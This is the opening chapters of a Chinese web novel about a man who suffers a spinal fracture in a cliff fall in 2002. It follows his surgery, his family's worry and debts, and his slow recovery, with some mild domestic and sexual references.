热搜排行
四十岁撞大运 1-10
第001 章祸从天降  

  这天是2002年3 月30日,星期六。  

  早晨方明睁开眼,拉着窗帘的屋内已是大亮了,妻子袁晓敏正在床上奶一周
岁多点的女儿倩倩。她的神情很专注,眼睛盯着正香甜地吸吮着的女儿,嘴角不
由地跟着女儿抽动。方明看这幅图景很美,像幅圣母图。  

  倩倩吃饱鬆开奶头,又睡着了,晓敏把她轻轻放好在床上,给她盖好被子。
方明看着她仍露在衣外的那对大奶子,想起有几天没亲热过,伸手去拉她。晓敏
打转他,随手放下了衣服,美目一瞪道:「少来!谁有心情?每天喝得醉醺醺才
回来。」  

  方明看着发怒的妻子,嘿嘿憨笑着:「来吧,趁今天礼拜,迟起一会。」  

  「去去去,你礼拜我不礼拜,你不是今天想回村看看,快起吧,帮我把孩子
们送到我妈家。」她说完又嘻嘻笑道:「你今儿礼拜,早晨的事都归你了,我再
睡一会,啊- !真瞌睡。」打了个哈欠躺到了方明身边。  

  方明欠起身心疼地看着晓敏,俊美的脸上露着疲态,他俯身吻了吻,晓敏睁
眼看了看,心一软说道:「那就快点,讨厌鬼!」  

  他高兴的如奉圣旨,那敢怠慢……  

  晓敏很扫兴,又是这样,实际她刚才那话话言不由衷,关键时刻竟又草草收
兵,生气地说他:「快起,干活去!」  

  方明他倒心满意足了,听话地起身,开始干晓敏每天早晨干的事。  

  晓敏给人家个体老闆打工,按时上班去了,方明让上初二的儿子永康在摩托
后座抱好妹妹,骑着把他们送到岳父家。  

  从岳父家返出来,他从街上买了几斤肉和一些新鲜蔬菜,回村里去看父母,
过完年这还是第一次。  

  这些年的气候太异常了,冷的迟热的早,九还没有数完天气已很暖和了,街
上的少男少女们全都是单衣单裤了。方明本来也换成了薄毛衣,今天骑摩托嫌冷
又换成厚毛衣。  

  刚换几个月的125 摩托果然好骑,回村一路的上坡感觉不到费劲,原来那个
破100 骑一路吭吭哧哧,后面带个人进不了村头就得下来。  

  天气好、车也好、心情也好,十几里路不觉的就到了,可他万万没想到一场
飞来横祸等着他。  

  村里一般家家都有车马,院门都宽大,白天家家都敞着门,没有大白天关大
门的习惯。他们家在村北头,是老房子,还是他爷爷手里盖起的,三间土房,隔
几年就得重新用泥抹一遍。院子挺大,羊圈、猪圈、牛圈齐全。  

  方明一直骑到院内停在了堂门口。  

  摩托车的嘟嘟声把方明的母亲招了出来,老人见到独子回来高兴的满脸堆笑
:「小明回来了,咋就你一人,媳妇和孩子们没回来?」  

  「永康下午补课,回不了。」方明从车上边解东西边回答。  

  他提着东西跨进家门,虽然家里破破旧旧的,但每次回来都觉得亲切,他向
次次回来不管他身后有土没土,总要拍拍打打的母亲问道:「我爹不在?」  

  「你爹去地了。」  

  「咋现在都去地?」方明放下东西坐到了炕上问。  

  「上粪去了,咋又买这么些?大年的还没吃完。」  

  「不捨得吃明年也吃不完。」  

  方明和母亲闲聊了一会儿,话题离不开老人的宝贝孙子、孙女。  

  看快晌午了,他对母亲说:「我去地看看。」  

  「甭去看了,你爹快回来了。」  

  「我骑摩托一会儿就去了,顺便叫我大姐夫中午来喝酒。」方明大姐嫁在本
村,前几年在村南头盖的新房,去地正好路过。  

  到了大姐家,从门口看到他大姐夫正在院里不知忙啥,他也没下车,向正迎
出来的姐夫说:「我去地看看,你晌午过去一块喝酒,我姐呢?」  

  「在屋里头,你不进来啦?」  

  「不进啦!」说完一溜烟地走了。  

  到了地头,方明没有看到父亲,停好摩托,向崖边走去,估计父亲是在崖下
的地里边。  

  到了崖边他看到了正在扬肥的父亲,他向下高声喊到:「爹--」。  

  正在这时,方明突然感到脚下一鬆,脑子刚反应到「坏了」,嗡地一声就晕
了,什么也不知道了。  

  方明爹听着好像是崖上有人在喊,抬头一看,见一人正站在崖边,刚看清是
自己的儿子,突然就见方明踩塌土跌下来。  

  眼睁睁地看着儿子从两房多高的崖上跌下来,老人一下子魂飞魄散,扔下手
中工具,张开两手疯了一样跑过去,想要接住儿子似的。  

  可没跑两步,就听「轰通」一声,方明已跌落在地上,溅起了高高的尘土。
老人一下子肝胆俱裂,像天塌下来似的,眼前一黑,腿也软了,一下子跪倒在地
上,马上又挣扎着连爬带滚地到了儿子跟前,见儿子满头、满脸、满身是土,正
看着他。  

  方明的身体一着地,他随着就清醒了,很快缓过神来,知道自己刚才踩塌土
跌下崖了,现在正面朝上躺在崖下。这时,他首先想到的是真的出了大祸,所幸
还活着,没跌死,可咋会碰到这事?  

  听到父亲大声地「小明!小明!」叫着,扭头看到父亲跌跌撞撞地跑了过来。  

  父亲跪伏在他身边,黝黑苍老的脸上爬满了惊恐、惶急的神色:「小明,有
事没事!?有事没事!?」  

  方明先安慰父亲:「没啥事,爹,甭吓」。  

  这时才顾的上感觉着自己的身体状况:腰部感觉胀的难受,从腰往下好像空
了似的,什么也没有了的感觉。他用手向下摸了摸,腿还在,只是失去了感觉。
他又用手摸了摸胸和肚子,感觉还好。方明心里觉得问题很严重,下身怎么会没
感觉呢?跌坏哪儿了?想着看过的相关资料,他知道坏事了,得马上问问他的医
生同学宋长庚。  

  父亲在旁边说:「小明,能起来起不来?来,爹扶你起来。」  

  「不行,爹,起不来,我先打个电话。」方明掏出手机,手机好好的,没有
摔坏,他查到了宋长庚的电话号码,拔出去,可信号不好无法接通。  

  宋长庚是县第一医院外科主任,他肯定知道该怎办,现在电话打不通,方明
又静心想了想,然后对他爹说:「爹回村找上我大姐夫,再叫上六、七个人,寻
一块结实的床板,没有床板门板也行,先把我抬回村。记住先不要告诉我妈。」  

  老汉亲眼看到儿子从那么高跌下来,已经吓得六神无主了,现在见儿子清清
醒醒能说话,还稍有安慰,听了儿子的话后慌慌忙忙、心急火燎往村里赶。  

  剩下方明自己,他又重新感受了一番身体状况:头、上身没事,腰部还是胀
胀地难受,腰以下好像什么都没有了,估计可能是腰椎有了问题,记得这种情况
千万不要乱动。他还是不敢想像竟然会出这种事,抬头看看土崖,躺着看很高,
差不多有六、七米高的样子。心里琢磨咋就跌下来了?噢,天气暖和冻土消鬆了,
自己站的也靠边,怎么会一踩空人就完全蒙了呢?万一没醒过这一生不是就结束
了?这下身又是咋回事?咋能治好?晓敏知道后会急成啥样?母亲知道后又会是
啥样?  

  这样胡思乱想好一会,越想越怕,直到听到上边有嘈杂的人声:  

  「看见了,在那儿!」  

  「快下、快下!」  

  先是大姐夫跑下来,着急地问:「咋就跌下啦?伤着哪没有?」  

  「大概是土消了,我站的靠边了,拿来啥了?」  

  其他人也跑过来了,有叫明叔的、有叫明哥的,七嘴八舌问询着。  

  他姐夫说:「找了一块床板,怎弄呢?」  

  「结不结实?结实你们就把我抬到床板上。」刚说完又赶紧补充道:「千万
慢点,一边三四个人,把手插进我身子底下,然后端到上去。」  

  姐夫指挥一边四个人,上身两个,下身两个,都把手插进方明身下,他抱着
方明的头对这些人说:「先不要动!听我的,我说起大家一起往起抬。」  

  大家小心地把方明抬放到了床板上。  

  「你们把我抬到坡顶,上坡小心点,前面的人低一点。」方明说完,他父亲
也气喘咻咻跑来了。  

  父亲和姐夫护在两边,众人小心翼翼地把方明抬到了坡顶。  

  方明掏出手机,见有两格信号,对众人讲:「你们先放下我,我打个电话。」  

  「是长庚吗?我方明。」电话通了,「哎,我回村出了点事,不小心从坡顶
跌下啦,现在下肢不能动,你看怎办?」  

  「谁?你!怎搞的?出这事。我问你下肢咋不能动?腿断了?还是伤了?。」  

  「腿弄不清断没断,就是没感觉了,动不了。」  

  「啊呀!你躺着千万别动!等我带救护车上去再说。你们村是北风堡哇?好!
我马上就上,你千万别让人动你,记住噢!」  

  宋长庚再三告诉方明不让他动,方明听他的口气内心感到严重了,可他也想
不出严重到啥程度。但他仍故作镇静望着父亲说:「我给我同学打了电话,县一
医院外科主任,他一会带救护车上来,去医院检查检查,我看没啥大事。」  

  方明这时感觉身上有些冷,对他姐夫说:「姐夫你看谁会骑摩托,回家去一
床被子和一个枕头。你们把我抬到大路口,这儿救护车上不来。」  

  众人也不知该怎办,一切听从方明的指挥。  

  抬到路口不久,方明姐夫抱了床被子回来了:「小明,春妮姥姥也知道了,
和春妮妈在后面跟来啦。」春妮是方明大姐的女儿。  

  方明最怕母亲知道,一会他不知如何面对。还有到现在不敢给妻子打电话,
等救护车来了再打吧,妻子知道是啥情形呢?不敢多想。  

  一会功夫,从村子的方向来了一堆人,远处就听到方明妈在「小明--,小
明--」地叫着,方明听着一阵阵揪心,强忍着没有让泪流出,他暗里告诫自己
一定要镇定。  

  方明妈在大女儿的扶着过来了,老人一下子扑到了方明跟前,方明递出手让
妈妈抓着,老人哭着问道:「小明,跌坏哪啦?痛不痛?让妈看看。」边说一边
撩起被子看。  

  「没事,妈。就是把腿跌麻啦,等一会去医院让医生看一看,估计没啥问题。」  

  老人撩起被子也看不出啥问题,儿子的话将信将疑,只能心疼地用衣袖擦着
儿子满是土灰的脸,叨叨着:「不听话,叫你别去别去,一阵功夫出了事,你要
有个三长两短叫妈怎活?」  

  方明大姐和跟来的村里人也都围着,问这问哪,说些宽心和安慰的话。  

  「嘟呜!嘟呜!」的车笛声从远处传来,是救护车上来了。  

  正文第002 章手术治疗  

  车到了跟前,宋长庚打开车门跳了下来,他走到方明跟前蹲下身问:「怎回
事,有啥感觉?」  

  听了方明的一番介绍后又问:「怎么抬过来的?身子动没动?」  

  方明解说完他长鬆了口气:「算你聪明!」对众人说,「抬到车上,慢一点。」  

  方明好说歹说没让母亲跟了去,宋长庚不愧多年的医生,很会说宽心话,几
句话就让他母亲少了疑虑,不坚持跟着了。这时正好方明的外甥春江听了消息也
赶来了,就负责把摩托骑回城,方明父亲和姐夫随同车一块走。  

  在车上,方明觉的该给晓敏打电话了,电话打到家里没人接,噢,方明想起
晓敏中午去她妈家,他又给岳母家打了电话。  

  晓敏这时正在厨房炒最后一个菜,电话铃响了几声,听没人接,估计爸爸是
在院里没听到,两三下炒出盛盘,在围裙上擦擦手出去接起了电话:「谁呀?」  

  「是我,你们吃饭了没有?」方明不知该怎说,先缓了一句。  

  「没吃呢?刚做成,你吃啦?」  

  听着晓敏像往常一样欢快的声音,方明心里越发难受,定了定神说:「晓敏,
我在村出了点事,把腿跌坏了。」  

  晓敏惊吓道:「啊!骑摩托跌的?厉害不厉害?」  

  「不是骑摩托跌的,是从土堆上跌下了,我现在正去第一医院,你準备些钱
马上来医院。」  

  晓敏听了心咚咚乱跳起来,慌里慌张放下电话,返到厨房惶急地对母亲说:
「妈,方明在村跌坏了腿,正去医院。快给我拿钱,有多少拿多少。」  

  老人听了也是一惊:「怎跌的?跌坏哪了?」  

  「我也不清楚,先快取钱。」晓敏边说边和母亲一块取钱,大概有二千多,
也顾不上数,穿上衣服就走。  

  院子里的父亲见晓敏穿戴好衣服推着车子往外走,问干啥去也没听清晓敏说
啥,慌慌张张的样子,老人很诧异。回去问老伴,知道方明出了事,也顾不上吃
饭,推着车子跟了去。  

  他们父女俩脚前撵后脚进了第一医院,到门诊楼正準备要问人,从医院大门
口传来救护车的响声。  

  晓敏好紧张,感觉方明就在这车上。向救护车迎过去,宋长庚从车上先下来,
她急忙问:「长庚,方明是不是在车上?」  

  「在。」宋长庚答应着一脸焦急的晓敏,过去打开了后车门。  

  晓敏和父亲扑到车门前,见方明父亲和姐夫蹲在车上,正要下来。方明头朝
里躺着,身上、脸上土灰土灰的,快看不出模样了,雅静鼻子一酸,眼泪哗地流
下来,哽咽着问:「怎跌的?跌坏哪啦?」  

  旁边的宋长庚插话道:「可能腰跌坏了,具体还得检查完才知道。你们先别
动,我去找人抬着检查。」  

  晓敏爬上车,守侯在方明头前,一只手握着方明的手,一只手摸着他的额头,
泪眼婆娑问:「感觉哪疼?疼得厉害不厉害?」  

  「不疼,你别担心,我估计没啥事?」方明安慰着妻子。  

  「从哪儿跌的?怎这么不小心。」  

  在方明简单叙说过程时,宋长庚已领着几个医生推着急救床过来了。  

  「大家抬放时千万小心,听我的指挥。」宋长庚指挥着人们把方明抬上急救
床,推进透视室,拍完片子,后又转到CT室拍了CT片。  

  等到片子出来后,宋长庚和几个骨科大夫都感到了严重,第一腰椎粉碎性骨
折,压缩进三分之二,大家结合方明的症状,肯定是脊髓损伤,多半会造成双下
肢终身瘫痪。研究后必须手术治疗,一种是直接到北京手术,一种是请北京专家
来,徵求完病人和病人家属再定。  

  宋长庚面对方明和他的家人不知该如何开口,但这么大的事只能实话实说:
「从片子上看,挺严重。」不管他们看懂看不懂,他指着片子讲:「第一腰椎受
压后粉碎性骨折,现在剩三分之一的距离了,已经损伤到神经。」他看大家的脸
色,知道他们还是不太明白,又解释道:「腰椎神经受损后就会造成双下肢瘫痪。」  

  一说「瘫痪」大家都傻了眼,晓敏首先急吓哭了,哭着问道:「那该怎办?
能治不能治?」  

  「你们先别着急,现在还不知神经损伤的程度,只要脊髓不是完全损伤,就
还能恢复。还有一种希望就是神经受到了压迫,神经会出现压迫休克,最迟不超
过二十四小时,自动就能恢复。」后一句实际是对他们安慰,他已经否定这种可
能。  

  大家又有了一线希望,问:「那现在怎办?」  

  「无论如何只能做手术了。过去做手术是用钢板固定,骨头长好再取出来。
现在有了新办法,是在好骨头上植个支架,人们又叫钉子,把压缩进的骨头还拉
回原来的位置,骨头长好也不用取出来,好了以后做啥事也不妨碍。」  

  「在哪做手术?谁给做?手术危险不危险?」他们听了都吓的慌。  

  「这不是得和你们商量?一是直接去北京,二是请北京专家来这做。我考虑
还是应该来这做,去北京一路颠簸对病人怕有影响。至于危险,任何手术都有危
险,不过现在这种手术已经很成熟了,不用太担心。」  

  最后大家商量请专家,让宋长庚安排去。  

  宋长庚走了一会又返回来,说:「专家已经联繫好了,说最迟晚上六点就能
过来,今天专家来了以后就做,这种手术越快越好,最好不要超过二十四小时。
再就是钉子有国产和进口的,国产一万元,进口三万元,你们商量用哪一种。我
问了,国产的和进口的差不多。你们定好以后,先抬方明到病房吧,我安排腾了
一个单间病房。」  

  宋长庚估计这次手术一直到出院,用国产的三万元也下不来,而方明和晓敏
的存款不足三千元,他们去年刚买的二室一厅,简单地装磺下来也花了近八万元,
卖了旧房加他们自己攒的只有五万元,方明父母省吃省喝攒的两万元,全部贡献
给宝贝儿子了,剩余的是岳父母贴补的,按说他们正过上了好日子,买完新房也
没有欠下外债。可今天出了这种事,怎不让他们头疼呢?  

  头疼归头疼,怎也的想办法,病当紧,考虑到经济状况,最后确定还是用国
产的。倒是晓敏的父亲主张用进口的,见方明坚决要用国产的,也就没坚持自己
的意见。一听说用国产的还得三万多元,方明父亲和姐夫蔫了,让他们去哪找这
么多钱?他父亲唉声歎气急的团团乱转。  

  最后还是雅静父亲说话了:「不要为钱愁,方明你宽心治病,你们家里尽量
凑,短多少我来补,不是专家的手术费和钉子是一万五嘛,我先回家取两万,你
们回病房后轮流把饭吃了,事还多着呢。」  

  方明真的很感动,觉得亏欠两家大人太多太多,自己父母受苦受累攒的钱,
几乎都贴补他了。再说岳父母家,他们一家四口一年当中,有一多半是在岳父母
家吃喝的,省下了多少钱?不然靠他俩人的收入,能维持住基本生活就不错了,
其余的想都甭想。  

  把方明安顿到病房,其他人也没心情吃饭,方明催了好几次没一个人去的。  

  躺在病床上,方明想了想应该把这件事告诉给齐宇和刘建功,有些事应该让
他们帮着做。这俩人比方明都小几岁,齐宇是他最好的朋友,刘建功是他们单位
领导,关係相当好,也可以说是朋友。  

  齐宇和刘建功接到消息很快就赶来了,他们非常吃惊和意外。  

  这是两个好帮手,晓敏和公公现在已是六神无主了,方明姐夫和外甥对医院
不熟悉,正好医院有关手续他俩给跑前跑后忙着。  

  下午六点半多点,北京的专家自己开车带了个女助手来了。专家看起来有四
十多岁,很有气质,也正是年富力强的时侯。女助手年轻,不到三十岁,一看就
是大城市的女性,人也漂亮。  

  专家看完片子,又对方明的身体做了详细检查。  

  因为要做手术,方明已被脱了个精光,身体不便翻动,毛衣和衬衣还是用剪
刀剪烂脱下的。这样的场合,赤身露体在众人面前,特别是还有一个年轻漂亮的
京城女性,方明稍嫌难为情,可重伤在身,哪还顾的上羞耻?  

  专家检查完说:「从片子上看骨折是挺严重的,必须手术。神经损伤程度只
有打开才能知道,你们要有最坏的心理準备,损伤严重就形成截瘫,后半辈子只
能依靠轮椅。」见大家露出失望的神色,又赶紧补充:「不过从很多病例看,他
这种情况,神经完全损伤的很少,多数能恢复。」  

  晓敏他们此前已从别的医生那儿了解到截瘫的后果:双下肢不能动,大小便
失禁,性功能丧失。实在无法想像方明会变成那样的人,都在暗中祁求老天保祐
.  

  反而方明的内心中,一直没有想自己会变成那样,肯定很快就恢复的。这大
概也是人类自我心理疗伤的本能吧,有些得了绝症的人,老是想着自己不会死的,
保持了乐观的思想,靠此延长了生命,甚而躲过了劫难。  

  后来先让刘建功和宋长庚领专家和参加手术的医生、护生先吃饭休息一下,
晚上八点开始手术。  

  七点多,他们吃饭回来,开始做手术前的準备工作,宋长庚和麻醉师赵医生
问方明他们用全麻还是局麻?  

  「局麻好还是全麻好?」方明问。  

  「还是全麻好,全麻就是比局麻费用贵,不过你要用全麻我给你按最低价,
药是我自己进回来的。」麻醉师赵医生回答。  

  现在医院的医生自己进药卖药已不是秘密了,这个赵医生和宋长庚的关係很
硬,通过宋长庚的关係,方明和赵医生原来就挺惯熟的,前不久因女儿倩倩患重
感冒,请儿科几个医生吃饭还邀了宋长庚和他呢。  

  大家这次一致决定用全麻,这件事上再不能图便宜了。  

  轮到叫晓敏在手术单上家属签字时,专家照单细讲了手术可能带来的风险,
晓敏听的直冒冷汗,心惊肉跳地不敢签字了。宋长庚做了些解释,她父亲在旁边
打气安慰,她才哆嗦着签了字。八点整,方明被推进了手术室,大家都跟到了手
术室门口。  

  进了手术室,方明四处张望了一下,这是他第一次进手术室,比起电视中看
到的手术室,这里显的很破旧和简陋,他心里嘀咕:这还是新建没几年,就成了
这种破败状态了。  

  其他辅助人员正忙着做準备工作,专家对他作最后的检查。一会,麻醉师赵
医生和他一边聊着,一边推过麻醉架,赵医生从麻醉架上拿起一个与麻醉架连着
的塑料透明口罩,捂在了他的嘴上,方明刚想这大概就是全麻吧,就什么也不知
道了。  

  车子推进了手术室,晓敏她们的心也跟着进去了,手术室外有长椅,开始谁
也没有坐,站着焦急地守侯在门外。方明是麻醉的一无所知,其他人是进不去一
无所知,只能祈盼手术成功,医生说的那些凶险不会发生。  

  时间一分一秒过去了,有人坐下了,但不一会儿又站了起来。大家都很少说
话,多数时间都在看着手术室的门,晓敏感到时间过的非常慢,她坐下又起来,
一会到手术室门口听听,什么也听不到再返回来。  

  晓敏看着公公靠墙蹲在地上,失神无助的眼睛紧紧盯着手术室的门,时不时
长嘘短歎着。她心里更加难受,用肘碰了碰父亲,示意了一下,晓敏的父亲过去
安慰着亲家公,把老汉揪起坐到了长椅上。  

  过了有两个多小时了,晓敏在门外听到里边有「嗡嗡」好像是钻东西的声音,
下意识地又推了推门,仍然推不动,贴近门缝看一看,里面还有一层门啥也看不
到。她脑子很乱,有了不好的念头赶紧甩甩头,生怕变为现实,这才体会到什么
叫坐卧不宁和心急如焚。  

  又过了一个多小时,专家先出来了,大家都围了上去,心都提到嗓子眼儿了。  

  看到专家满脸笑容,大家期盼着好消息,不知谁在问:「医生,手术怎么样?」  

  「手术很好,很成功。」专家看着大家期盼的脸笑着又说,「还是你们祖上
积德,伤的不太严重,比我们预想的轻多了,脊髓很完整,以后完全可以恢复。」  

  众人听了顿时高兴起来,都围上去问这问哪,专家热情地解释着,听了解释,
大家这才把心跌回肚里去。  

  「不过恢复起来又艰苦又慢,恐怕得二三年,没完全恢复前生活不能自理,
一切都需要有人照顾,很苦很累,你们要有心理难备。」  

  「只要能恢复,再苦再累也值。」原来医生们担心会终身残废,现在听说能
恢复,晓敏喜极而泣说道。  

  「方明啥时候能出?」  

  「现在他们正在进行刀口缝合,很快就会出来。」  

  方明正和赵医生他们一块喝酒,赵医生老是劝他酒,方明喝的昏昏沈沈,使
劲睁起眼,却见众人推着他,这才恍然刚才是一个梦,意识到这是做完了手术,
他笑着对旁边的赵医生说:「我梦见和你喝酒,让你一会儿就把我灌醉了。」  

  大家见方明刚从鬼门关回来,也不问手术的怎样,却开起了玩笑,真是又好
气又好笑。  

  正文第003 章度日如年  

  将方明送进病房,专家又来嘱咐了一些注意事项:排气以前不能吃饭喝水,
嘴乾用棉球蘸水在嘴上沾一沾,排气以后可以喝水和吃些稀饭,饭量慢慢加;每
两小时翻一次身,防止起褥疮,翻身时要两个人帮着翻,一个人托上身,一个人
托臀部和下身;定时排尿,经常用双手揉搓腿部,缓慢活动关节,防止肌肉萎缩
和关节僵化等等。  

  刘建功他们安排专家和助手休息去了,明天一早他们就回北京,留下了联繫
电话。其他人也散去了,剩下晓敏和方明父亲、姐夫、外甥留下来照顾方明。  

  一晚上大家几乎没合眼,一会儿给方明翻翻身,一会叫护士换液体,一会放
尿。方明一晚上也几乎没睡,背和腰极不舒服。  

  好不容易熬到了第二天,岳父母不到八点就领着两个孩子来了。永康大了,
一进门看见爸爸躺在病床上,旁边吊着输液瓶,赶紧跑到爸爸床前,握住爸爸的
手哭起来。永倩将过週岁,正是呀呀学语的时侯,姥姥抱着进了门,首先看到的
是妈吗,嚷着要找妈妈。晓敏抱过女儿,倩倩就扒妈妈的衣服要吃奶,晓敏撩起
上衣喂倩倩奶,刚吸了没几口,晓敏就「啊」地尖叫起来。原来是倩倩吸不到奶,
就咬了她的奶,晓敏从倩倩嘴里把奶拔出,倩倩马上就「哇哇」哭起来。晓敏心
中知道,是这场事把挺好的奶水惊没了,想起倩倩就要断奶,心疼地哭了起来。  

  好不容易把倩倩哄的不哭了,晓敏抱着她到了方明头边,教女儿:「叫爸爸,
用手手摸摸你坏爸爸的脸,看他不小心出这么大事。」倩倩没有见过爸爸这样,
怯生生地不叫也不摸,双手环着妈妈的脖子好奇地看着爸爸。  

  方明先是看了看儿子,眼晴就落在女儿身上:「叫爸爸,等爸爸给买好吃的。」
说完这句,他不由的心酸,泪再也忍不住哗哗淌下来,其他人看了也都跟着落泪,
晓敏抽泣的出了声,一时病房变的很沈闷。  

  晓敏妈和晓敏一样心直口快:「真的,这么大的人也不小心,不看看危险不
危险,你有个啥事让她们女仨怎办。」  

  方明只能默默承受岳母的数落,无言以对。  

  过了一会儿,倩倩才熟悉了环境,活泼起来。坐在爸爸身边「爸爸,爸爸」
叫着,手也不闲着,一会儿摸摸爸爸的脸,一会想揪输液管,晓敏在一旁拦挡着。  

  方明让父亲和外甥先回去,就留下姐夫先呆几天,因为必须得有两个人。父
亲留下来也是帮不上忙,母亲还在家里正揪心呢,外甥年轻,毛手毛脚的不放心。
父亲走时方明再三嘱咐,要对母亲暂时隐瞒实情,等过一阶段好点再说。  

  村里方明的母亲从他们走后就坐卧不宁,绕出来绕进去,大女儿劝也白搭。
晚上老人一夜睡不着,第二天一早起来就去了大女儿家,非让她进城去看看。  

  快响午时,老人眼巴巴地盼回了老头子,翻来覆去问这问那,听说儿子没大
事才稍稍放下心来。  

  方明受伤的第三天,不大个县城已是尽人皆知,而且传的是彻底瘫痪了,成
了半个人。  

  这天上午方明的亲朋和同事不断地有人来医院探望,有买东西的有送钱的。  

  方明的精神挺好,除了腰和背仍不舒服,其它地方不难受,下肢仍感到空蕩
蕩的,和来人有说有笑的。  

  可好景不长,到了晚上两条腿开始发麻、发烧,说不清是啥滋味,一阵好像
两条腿吊到了半空中,一阵又觉得双腿好似坠了东西,沈坠沈坠的,别提那滋味
有多难受。这种麻痛不是正常人那种实感,是神经不通引起的,医生说是好现象,
是神经开始自我恢复,如果神经完全受损,也不会有这种现象,会像先前一样,
下部感觉是空的。  

  晓敏看着心疼,也没办法,只是按照医生的吩咐和方明大姐一块经常给方明
搓腿、活动关节,熬不住时就打个盹。  

  有的时候方明的腰背实在是难受,可又不到两个小时,强忍着一直坚持够了
两个小时后,才叫醒他们给翻翻身。每次翻完身晓敏和大姐再给他揉腿、活动关
节。  

  接下来的几天都是这样渡过的,白天有人来探视,说说话转移一下注意力还
好过一点,特别是姥姥、姥爷领着小倩倩来的时候,倩倩憨态可掬的神态,活泼
可爱的动作,逗人发乐的嬉戏,让方明减去不少痛苦。可到了晚上,方明觉的一
分一秒都难过,尤其是邻房有个断了腿的小伙子,大概是疼的厉害,「噢噢」直
叫,挠的他心烦。本想趁这次机会把烟戒掉,可实在太难熬了,和晓敏要了盒烟,
在忍不住时就吸几口,以打发这分分秒秒。原来挺胖,几天下来已显消瘦。  

  同样这十几天下来,也把晓敏累坏了,脸上布满了疲乏和憔悴之色。前几天
龙城矿上方明的二姐和三姐回来了,把大姐和大姐夫替了回去,可谁也替不了晓
敏。现在晓敏还把工作辞了,那陈老闆惋惜失去晓敏这把财会好手,可也没办法,
因和方明关係也不错,还特意送了一千元慰问金,并表示晓敏以后随时都可以来
上班。  

  方明和晓敏是高中的同桌同学,那年补习完双双落榜以后,正赶上商业系统
招工,她父亲连托人带送礼安排了一个财会工作,一直在办公室工作。现在虽接
近四十岁的人了,一直没受过风吹日晒,保养的还可以,加上人本身漂亮,正散
发着成熟女人迷人的风韵。而现在的样子,让方明既感动又愧疚。特别是晓敏妈
每次来,看到女儿的样子非常心疼,也很无奈,只能帮着把两个孩子照顾好。  

  不过还有高兴的事是:方明的大腿正面的上部开始有些知觉了,右腿比左腿
的感觉好。大家充满了希望,信兴倍增,苦点累点也值。  

  对正常人来说转眼是第十二天了,该拆刀口线了。主治医生拆完线,检查了
背部和臀部,对家人的护理工作很满意。这种病人最易患褥疮,方明只是稍微有
点压红,这可是晓敏和方明两个姐姐辛苦的结果。  

  主治医生刚走,刘建功和齐宇脚前接脚后进来了,这两人常来。特别是齐宇
单位不忙,每天至少来一次,帮了方明不少忙。  

  他们正坐着闲聊,推门现出三个风姿招展,很惹眼的女士。其中一人手里提
着个大花篮,是县里梅雨红饭庄的三个老闆。因为三个人合伙开的,用三个人的
名冠的饭庄名,她们分别叫耿艳梅、朱思雨、冀红红。  

  她们进来见刘建功和齐宇在,长的最有气质,个子也最高的是耿艳梅,她先
开口道:「刘所长和齐主任也在,我们来看看方明,前几天都想来,可腾不出时
间。」  

  「三个老闆一齐来看,确实难得,快进快进。」刘建功客气地说。  

  她们将花篮放好,过去问候方明:「怎么样?好一点吗?」  

  「好一点,两个大腿开始有感觉了,医生说恢复的挺好,首先不会终身残废
了,谢谢你们的关心。」  

  「那就谢天谢地了,那天听刘所长说你出了事,把我们三人难过了好几天。
我们还骂现在咋尽好人出事。」说话的是冀红红,是个脸白白的,眼大大的,圆
圆胖胖的女子,看起来就很活泼。  

  「大难不死,必有后福,也许命中该有的一点小灾难。」方明笑着故作轻鬆
地说。  

  「这还叫小灾难,这祸就够大了。」晓敏不满地说。  

  「就是,这么大的难还说小,再往那大呀。」冀红红附和着。  

  「不过有时啥事都是命,好了以后肯定后福无穷,就安心养病吧。」这是个
中等苗条身材,看上去文静,脸上有一种忧郁但不失娇媚的女子也跟着附和,她
是朱思雨。  

  稍坐了一会儿,三人硬是给留了三百元走了,并一再说想吃点啥打电话,让
服务员给送过来。  

  人刚走,晓敏就酸酸地对齐、刘二人说:「看我们方明人缘多好,三个俏寡
妇还惦记着又送花又送钱。」  

  「哪里是我的人缘,这是我们刘所长的人缘,不是刘所长常领我们去三寡妇
饭店吃饭,三个人我一个也不认的。」因这三个女的两个是离婚的,一个是死丈
夫的,所以背后人们不说梅雨红饭庄,而称三寡妇饭店,方明也习惯这样称呼。
三女绯闻很多,难怪晓敏讲话酸酸地。  

  见方明转嫁到自己身上,刘建功忙着解释:「那不是离咱们单位近嘛。」  

  晓敏装着恶狠狠的样子说:「屁大的凤城县,最远有多远,我看你们爱闻骚
味才是真的,小心闻不到骚味倒惹一身骚噢!」  

  刘建功怕越描越黑,就和方明两个姐姐啦起话来。  

  出事快满一个月,方明的腿仍是麻辣辣、热扎扎,过着度日如年的日子,不
过大腿的感觉快下到膝关节。虽然大小便仍失禁,但能感觉到尿意和便意,尿管
也拔掉了,输液也停了,医生说可以出院,回家吃些神经和肌肉营养药慢慢养着
吧。  

  结算完药费、住院费总共花了四万多元,按说方明所在单位是财政全额拔款
的事业单位,享受公费医疗,可他们县穷,没有医疗保险,公费医疗也是个空话。
除了县里一些主要领导,其他人财政每人每年只发60元医药费,感冒一次就花完
了。刘建功和方明私交厚,从单位的其它费用以别的项目支了三千元,换作别人
想都别想。不过除亲朋好友来探望的,还有他在工作中照顾过的一些单位领导,
也拿一、二百元来看他,这让他挺感激了,毕竟他不是单位领导,力量菲薄。但
方明仍对一些曾经关照过,但这次连面都没照的人忿忿不平,让他深刻体会到了
人情冷暖。  

  晓敏把来探视的人们都登记下来,好以后还人家的人情。统计了一下,仅现
金就收了二万六千多元,其中晓敏的家人送的最多,晓敏大姐一家专程从北京回
来看望并留了三千元,晓敏二姐离的远寄了三干元,晓敏父母也给了三千元,垫
的医疗费说是以后再还。方明家中的姊妹经济不算宽裕,合起来给了不到些5 千
元,剩下的就是其他人的。  

  他俩合计,结清帐后还剩三干多元,这病以后还有很多用钱的地方,欠晓敏
父母两万元只能先欠着了。  

  早就在医院呆烦了,方明的心嚮往着回家的感觉。  

  一个月没回家,家里的气味,家里崭新的家俱,家中的一切都让方明倍感亲
切。躺在宽大的床上,能随意地看着电视,从未感到如此的舒心和温暖。  

  女儿一直呆在姥姥家,已对自家陌生,回来后看啥也稀罕新奇,刚学会走路,
迈着不稳当的步子挨家转着,叽叽喳喳的笑语声给满屋子带来趣乐。
猜你喜欢下面这些
